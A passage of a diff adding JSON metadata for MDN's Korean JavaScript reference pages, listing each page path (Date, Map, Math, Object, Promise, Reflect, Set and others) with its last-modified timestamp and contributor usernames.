"2019-03-23T22:23:22.400Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": { + "modified": "2019-03-23T22:23:12.168Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": { + "modified": "2019-03-23T22:23:12.991Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": { + "modified": "2019-03-23T22:23:21.549Z", + "contributors": [ + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": { + "modified": "2019-03-23T22:23:11.774Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": { + "modified": "2019-03-23T22:23:12.673Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": { + "modified": "2019-03-23T22:23:22.693Z", + "contributors": [ + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toDateString": { + "modified": "2020-10-15T21:50:42.628Z", + "contributors": [ + "alattalatta", + "inkyungkim", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toISOString": { + "modified": "2020-10-15T22:09:03.975Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toJSON": { + "modified": "2020-10-15T22:09:05.629Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toString": { + "modified": "2020-10-15T21:56:46.065Z", + "contributors": [ + "alattalatta", + "huseong" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/valueOf": { + "modified": "2020-10-15T22:22:09.213Z", + "contributors": [ + "Jihyun_LEE" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error": { + "modified": "2020-10-15T21:23:09.336Z", + "contributors": [ + "alattalatta", + "sunhyung", + "teoli", + "john_jung" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/name": { + "modified": "2020-10-15T22:01:04.562Z", + "contributors": [ + "goeo1066" + ] + }, + "Web/JavaScript/Reference/Global_Objects/EvalError": { + "modified": "2020-10-15T21:50:41.406Z", + "contributors": [ + "alattalatta", + "zziuni", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function": { + "modified": "2020-10-15T21:18:08.765Z", + "contributors": [ + "alattalatta", + "moolow", + "dolmoon", + "Netaras", + "teoli", + "HunminKim", + "Wafe" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/apply": { + "modified": "2020-10-15T21:36:42.231Z", + "contributors": [ + "limsungho02", + "cs09g", + "jeongchaeuk", + "alattalatta", + "jaewanC", + "bsidesoft" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/arguments": { + "modified": "2020-10-15T22:04:18.058Z", + "contributors": [ + "Seonghui", + "sunhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/bind": { + "modified": "2020-10-15T21:38:38.554Z", + "contributors": [ + "dezcao", + "dae-hwa", + "alattalatta", + "limkukhyun", + "AlexMin", + "dale0713", + "joeunha", + "Netaras", + "sftblw", + "zuckay79", + "jjhangu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/call": { + "modified": "2020-10-15T21:19:34.146Z", + "contributors": [ + "dasbeerboot", + "paikwiki", + "Netaras", + "stitchworkingonthecode", + "ligeek", + "jjhangu", + "teoli", + "ByungChangYoo", + "Jeado.Ko" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/length": { + "modified": "2020-10-15T21:36:48.277Z", + "contributors": [ + "alattalatta", + "Netaras", + "bsidesoft" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/name": { + "modified": "2019-03-23T22:54:09.088Z", + "contributors": [ + "Netaras", + "bsidesoft" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/toSource": { + "modified": "2020-10-15T22:15:36.685Z", + "contributors": [ + "cs09g" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Generator": { + "modified": "2019-10-07T03:49:08.925Z", + "contributors": [ + "stegano", + "Latera", + "loslch", + "kdex", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Generator/next": { + "modified": "2019-03-23T22:29:43.014Z", + "contributors": [ + "echo304" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Generator/return": { + "modified": "2019-03-23T22:29:41.659Z", + "contributors": [ + "echo304" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Generator/throw": { + "modified": "2020-10-15T21:47:52.236Z", + "contributors": [ + "alattalatta", + "echo304" + ] + }, + "Web/JavaScript/Reference/Global_Objects/GeneratorFunction": { + "modified": "2020-10-15T21:43:23.835Z", + "contributors": [ + "alattalatta", + "HyunMook", + "AHNJAEHA" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Infinity": { + "modified": "2020-10-15T21:44:39.467Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/InternalError": { + "modified": "2019-03-18T21:46:44.351Z", + "contributors": [ + "teoli", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/InternalError/prototype": { + "modified": "2019-03-23T22:28:33.047Z", + "contributors": [ + "teoli", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Intl": { + "modified": "2020-10-15T21:56:50.642Z", + "contributors": [ + "alattalatta", + "hrg921" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat": { + "modified": "2020-10-15T22:07:32.322Z", + "contributors": [ + "fscholz", + "alattalatta", + "SSJ-unclear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype": { + "modified": "2020-10-15T22:22:06.369Z", + "contributors": [ + "fscholz", + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Intl/Locale": { + "modified": "2020-10-15T22:25:03.900Z", + "contributors": [ + "fscholz", + "sffc" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Intl/Locale/language": { + "modified": "2020-10-15T22:25:02.965Z", + "contributors": [ + "fscholz", + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat": { + "modified": "2020-10-15T22:08:58.601Z", + "contributors": [ + "fscholz", + "alattalatta", + "SDSkyKlouD", + "SSJ-unclear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype": { + "modified": "2020-10-15T22:21:51.361Z", + "contributors": [ + "fscholz", + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/JSON": { + "modified": "2020-10-15T21:43:51.602Z", + "contributors": [ + "alattalatta", + "Parcovia", + "goeo1066", + "Netaras", + "MexieAndCo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/JSON/parse": { + "modified": "2020-10-15T21:44:14.822Z", + "contributors": [ + "alattalatta", + "Parcovia", + "subasuba" + ] + }, + "Web/JavaScript/Reference/Global_Objects/JSON/stringify": { + "modified": "2020-11-10T21:46:18.524Z", + "contributors": [ + "Ohora", + "alattalatta", + "churow", + "boyzgun", + "joshua1988", + "maytree", + "supermanWannaBe" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map": { + "modified": "2020-10-15T21:50:09.238Z", + "contributors": [ + "Chloe-HyunJoo", + "alattalatta", + "younghoh", + "KaironMoon", + "echo304", + "dragmove" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag": { + "modified": "2020-10-15T22:04:19.848Z", + "contributors": [ + "Seok.Heo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/Map": { + "modified": "2020-10-15T22:26:33.491Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/clear": { + "modified": "2020-10-15T22:09:01.449Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/delete": { + "modified": "2020-10-15T22:09:03.155Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/entries": { + "modified": "2020-10-15T22:09:02.936Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/forEach": { + "modified": "2020-10-15T22:20:31.940Z", + "contributors": [ + "JaeWorld" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/get": { + "modified": "2020-10-15T22:15:40.628Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/has": { + "modified": "2020-10-15T22:15:44.379Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/prototype": { + "modified": "2020-10-15T21:55:20.178Z", + "contributors": [ + "alattalatta", + "echo304" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/set": { + "modified": "2020-10-15T22:15:44.384Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Map/size": { + "modified": "2020-10-15T22:04:26.274Z", + "contributors": [ + "Gren", + "Seok.Heo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math": { + "modified": "2020-10-15T21:38:50.083Z", + "contributors": [ + "alattalatta", + "kimkyeseung", + "ejay0811", + "bombinari", + "imskojs", + "dale0713", + "fscholz" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/E": { + "modified": "2020-10-15T21:56:48.942Z", + "contributors": [ + "alattalatta", + "mantra78" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/LN10": { + "modified": "2020-10-15T22:12:27.389Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/LN2": { + "modified": "2020-10-15T22:12:33.707Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/LOG10E": { + "modified": "2020-10-15T21:45:43.847Z", + "contributors": [ + "alattalatta", + "SeungYeol", + "seung-yeol" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/LOG2E": { + "modified": "2020-10-15T22:12:28.658Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/PI": { + "modified": "2020-10-15T21:57:11.130Z", + "contributors": [ + "alattalatta", + "swtpumpkin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2": { + "modified": "2020-10-15T22:28:40.942Z", + "contributors": [ + "129dot03" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/SQRT2": { + "modified": "2020-10-15T21:57:11.465Z", + "contributors": [ + "swtpumpkin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/abs": { + "modified": "2020-10-15T21:57:04.759Z", + "contributors": [ + "alattalatta", + "mantra78" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/acos": { + "modified": "2020-10-15T21:52:08.736Z", + "contributors": [ + "alattalatta", + "keikeiem" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/cbrt": { + "modified": "2020-10-15T21:52:08.362Z", + "contributors": [ + "alattalatta", + "keikeiem" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/ceil": { + "modified": "2019-03-23T22:13:49.234Z", + "contributors": [ + "ironmanciti" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/exp": { + "modified": "2020-10-15T22:07:23.655Z", + "contributors": [ + "qazxsw1240" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/floor": { + "modified": "2020-10-15T21:38:48.166Z", + "contributors": [ + "alattalatta", + "EdwardBaek", + "laranhee", + "ChoeSul" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/fround": { + "modified": "2019-03-23T22:31:04.734Z", + "contributors": [ + "ingee.kim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/imul": { + "modified": "2019-03-31T21:25:02.115Z", + "contributors": [ + "cameo-js", + "ingee.kim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/log": { + "modified": "2020-10-15T21:55:33.977Z", + "contributors": [ + "Luna4D" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/log2": { + "modified": "2020-10-15T21:57:12.002Z", + "contributors": [ + "swtpumpkin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/max": { + "modified": "2020-10-15T21:56:06.992Z", + "contributors": [ + "lanipark", + "swtpumpkin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/min": { + "modified": "2020-10-15T21:56:53.960Z", + "contributors": [ + "mantra78" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/random": { + "modified": "2020-10-15T21:44:16.613Z", + "contributors": [ + "caianyuan", + "EatChangmyeong", + "kuroneko0441", + "lazygyu", + "gamzza", + "maytree" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/round": { + "modified": "2020-10-15T22:12:25.570Z", + "contributors": [ + "officialmansu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/sign": { + "modified": "2020-10-15T21:59:54.584Z", + "contributors": [ + "yssgo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/sin": { + "modified": "2020-10-15T22:14:16.419Z", + "contributors": [ + "guyeol" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/sinh": { + "modified": "2020-10-15T22:23:26.235Z", + "contributors": [ + "Eumhongin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/sqrt": { + "modified": "2020-10-15T21:57:12.700Z", + "contributors": [ + "swtpumpkin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/tan": { + "modified": "2020-10-15T22:14:16.148Z", + "contributors": [ + "guyeol" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/tanh": { + "modified": "2020-10-15T22:27:51.653Z", + "contributors": [ + "FennecFoxSW" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Math/trunc": { + "modified": "2020-10-15T21:56:16.061Z", + "contributors": [ + "mantra78", + "hefaitos" + ] + }, + "Web/JavaScript/Reference/Global_Objects/NaN": { + "modified": "2020-10-15T21:15:15.113Z", + "contributors": [ + "alattalatta", + "Netaras", + "nacyot", + "teoli", + "Gilchris" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number": { + "modified": "2020-10-15T21:38:20.966Z", + "contributors": [ + "soonsebii", + "alattalatta", + "DeadIntegral", + "taeunChoi", + "ChoeSul", + "fscholz" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/EPSILON": { + "modified": "2020-10-15T21:48:35.594Z", + "contributors": [ + "EntryDark", + "." + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER": { + "modified": "2020-10-15T22:02:58.023Z", + "contributors": [ + "alattalatta", + "kirrie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": { + "modified": "2020-10-15T21:53:40.733Z", + "contributors": [ + "alattalatta", + "kbsbroad" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER": { + "modified": "2020-10-15T22:14:25.785Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": { + "modified": "2020-10-15T22:01:36.854Z", + "contributors": [ + "alattalatta", + "sshplendid" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": { + "modified": "2020-10-15T22:15:09.850Z", + "contributors": [ + "alattalatta", + "yami03" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/NaN": { + "modified": "2020-10-15T21:44:42.844Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY": { + "modified": "2020-10-15T22:15:10.597Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/isFinite": { + "modified": "2020-10-15T21:44:34.313Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/isInteger": { + "modified": "2020-10-15T21:50:46.841Z", + "contributors": [ + "alattalatta", + "Lutece" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/isNaN": { + "modified": "2020-10-15T21:44:51.414Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger": { + "modified": "2020-10-15T21:53:40.478Z", + "contributors": [ + "alattalatta", + "preco21" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/parseFloat": { + "modified": "2020-10-15T22:14:24.810Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/parseInt": { + "modified": "2020-10-15T21:38:16.285Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "chro0611" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/prototype": { + "modified": "2020-10-15T22:10:14.861Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/toExponential": { + "modified": "2020-10-15T22:16:46.694Z", + "contributors": [ + "lifeisnovel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/toFixed": { + "modified": "2020-10-15T21:50:45.262Z", + "contributors": [ + "alattalatta", + "Lutece" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/toPrecision": { + "modified": "2020-10-15T22:02:15.943Z", + "contributors": [ + "take0415" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/toString": { + "modified": "2020-10-15T21:48:38.962Z", + "contributors": [ + "alattalatta", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/valueOf": { + "modified": "2020-10-15T22:10:14.373Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object": { + "modified": "2020-10-15T21:19:43.435Z", + "contributors": [ + "alattalatta", + "Parcovia", + "palindrom615", + "callin2", + "StrongStoone", + "maytree", + "keikeiem", + "teoli", + "Jeado.Ko" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__": { + "modified": "2020-10-15T22:08:32.403Z", + "contributors": [ + "LeeDDHH" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/assign": { + "modified": "2020-10-15T21:49:34.841Z", + "contributors": [ + "cs09g", + "limkukhyun", + "TK-one", + "alattalatta", + "LOG91", + "kikas", + "faker007", + "dale0713" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/constructor": { + "modified": "2020-10-15T21:47:07.109Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/create": { + "modified": "2019-10-02T03:34:36.779Z", + "contributors": [ + "ibizcox", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": { + "modified": "2020-10-15T21:54:36.990Z", + "contributors": [ + "EatChangmyeong", + "KangHyeongMin", + "DevJang", + "BANIP" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": { + "modified": "2020-10-15T21:37:24.444Z", + "contributors": [ + "alattalatta", + "kimkyeseung", + "mixed", + "bsidesoft" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/entries": { + "modified": "2020-10-15T22:08:09.257Z", + "contributors": [ + "honggaruy", + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/freeze": { + "modified": "2020-10-15T21:37:04.618Z", + "contributors": [ + "alattalatta", + "cs09g", + "gatherKnowledge", + "roupkk", + "hanmomhanda" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": { + "modified": "2020-10-15T22:10:27.914Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": { + "modified": "2020-10-15T21:47:07.447Z", + "contributors": [ + "fscholz", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf": { + "modified": "2019-03-23T22:31:23.968Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": { + "modified": "2020-10-15T21:39:57.262Z", + "contributors": [ + "Chloe-HyunJoo", + "alattalatta", + "epicsaga" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/is": { + "modified": "2020-10-15T21:31:34.796Z", + "contributors": [ + "alattalatta", + "Netaras", + "nacyot", + "ligeek", + "lv0gun9" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": { + "modified": "2020-10-15T21:47:08.415Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": { + "modified": "2020-10-15T21:47:09.610Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": { + "modified": "2020-10-15T21:37:04.091Z", + "contributors": [ + "alattalatta", + "BrandenYoon", + "bsidesoft" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isSealed": { + "modified": "2020-10-15T21:47:09.579Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": { + "modified": "2020-10-15T21:47:09.416Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": { + "modified": "2020-10-15T21:52:42.061Z", + "contributors": [ + "deltakor1234", + "alattalatta", + "dotorify" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/prototype": { + "modified": "2020-10-15T21:34:43.084Z", + "contributors": [ + "zero0yes", + "noritersand", + "alattalatta", + "Parcovia", + "Netaras", + "DavidSunny", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/seal": { + "modified": "2020-10-15T21:37:04.586Z", + "contributors": [ + "alattalatta", + "hanmomhanda" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": { + "modified": "2020-11-04T03:29:23.911Z", + "contributors": [ + "psk810", + "DevJang", + "kingsae1" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": { + "modified": "2020-10-15T22:08:09.241Z", + "contributors": [ + "alattalatta", + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/toString": { + "modified": "2020-10-15T21:46:52.765Z", + "contributors": [ + "ESnark", + "alattalatta", + "limkukhyun", + "kennen", + "sandArtChip" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/valueOf": { + "modified": "2020-10-15T21:49:29.419Z", + "contributors": [ + "honggaruy", + "alattalatta", + "stitchworkingonthecode" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/values": { + "modified": "2020-10-15T22:01:47.626Z", + "contributors": [ + "OhSeungHyeon", + "KIMSEONGSEOB" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise": { + "modified": "2020-10-15T21:37:31.734Z", + "contributors": [ + "Vimming", + "alattalatta", + "khg0712", + "limkukhyun", + "samee", + "fscholz", + "NessunKim", + "ahnjungho", + "Netaras", + "redcamel", + "EunwooCho", + "akic4op4", + "0xABCDEF" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/Promise": { + "modified": "2020-10-15T22:27:11.901Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/all": { + "modified": "2020-10-15T21:45:48.976Z", + "contributors": [ + "EatChangmyeong", + "alattalatta", + "DeadIntegral", + "limkukhyun", + "fscholz", + "hoony" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": { + "modified": "2020-10-15T22:24:05.512Z", + "contributors": [ + "composite" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/finally": { + "modified": "2020-10-15T22:04:25.149Z", + "contributors": [ + "ditto572", + "Seok.Heo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/prototype": { + "modified": "2020-10-15T21:47:20.685Z", + "contributors": [ + "alattalatta", + "fscholz", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/race": { + "modified": "2020-10-15T21:47:12.859Z", + "contributors": [ + "EatChangmyeong", + "alattalatta", + "seungha-kim", + "fscholz", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/reject": { + "modified": "2020-10-15T21:47:12.472Z", + "contributors": [ + "fscholz", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/resolve": { + "modified": "2020-10-15T21:47:20.702Z", + "contributors": [ + "cs09g", + "fscholz", + "QooQooDass", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/then": { + "modified": "2020-10-15T21:47:12.138Z", + "contributors": [ + "EatChangmyeong", + "fscholz", + "KisukPark", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Proxy": { + "modified": "2020-10-15T21:50:18.794Z", + "contributors": [ + "alattalatta", + "callin2", + "heejunghwang" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Proxy/handler": { + "modified": "2020-10-15T21:55:35.789Z", + "contributors": [ + "alattalatta", + "SphinxKnight" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply": { + "modified": "2019-03-23T22:09:25.839Z", + "contributors": [ + "bsidesoft" + ] + }, + "Web/JavaScript/Reference/Global_Objects/RangeError": { + "modified": "2019-03-23T22:28:44.569Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ReferenceError": { + "modified": "2020-10-15T22:01:04.430Z", + "contributors": [ + "goeo1066" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect": { + "modified": "2020-10-15T21:53:08.377Z", + "contributors": [ + "alattalatta", + "undefcat" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/apply": { + "modified": "2020-10-15T21:53:07.400Z", + "contributors": [ + "alattalatta", + "undefcat" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/construct": { + "modified": "2020-10-15T22:19:07.053Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": { + "modified": "2020-10-15T22:19:08.726Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": { + "modified": "2020-10-15T22:19:07.741Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/get": { + "modified": "2020-10-15T22:19:16.367Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor": { + "modified": "2020-10-15T22:19:17.438Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf": { + "modified": "2020-10-15T22:19:16.737Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/has": { + "modified": "2020-10-15T22:19:16.455Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible": { + "modified": "2020-10-15T22:19:18.378Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": { + "modified": "2020-10-15T22:19:19.765Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions": { + "modified": "2020-10-15T22:19:30.244Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/set": { + "modified": "2020-10-15T22:19:35.877Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf": { + "modified": "2020-10-15T22:19:38.264Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/RegExp": { + "modified": "2020-10-15T21:38:50.461Z", + "contributors": [ + "alattalatta", + "EatChangmyeong", + "zerodice0", + "momoci99", + "hanabiai", + "Latera", + "tmxkwkfgka" + ] + }, + "Web/JavaScript/Reference/Global_Objects/RegExp/RegExp": { + "modified": "2020-10-15T22:32:38.454Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/RegExp/exec": { + "modified": "2020-10-15T21:47:37.584Z", + "contributors": [ + "alattalatta", + "yumi2011", + "dale0713" + ] + }, + "Web/JavaScript/Reference/Global_Objects/RegExp/n": { + "modified": "2020-10-15T22:18:51.448Z", + "contributors": [ + "dragmove" + ] + }, + "Web/JavaScript/Reference/Global_Objects/RegExp/test": { + "modified": "2020-10-15T22:32:39.804Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set": { + "modified": "2020-10-15T21:48:48.879Z", + "contributors": [ + "alattalatta", + "RingoKim", + "loslch", + "dale0713", + "NessunKim", + "Netaras", + "vsemozhetbyt" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/add": { + "modified": "2020-10-15T22:11:36.093Z", + "contributors": [ + "alattalatta", + "chan337337" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/clear": { + "modified": "2020-10-15T22:15:10.272Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/delete": { + "modified": "2020-10-15T22:15:14.997Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/forEach": { + "modified": "2020-10-15T22:15:19.403Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/has": { + "modified": "2020-10-15T22:15:10.010Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/prototype": { + "modified": 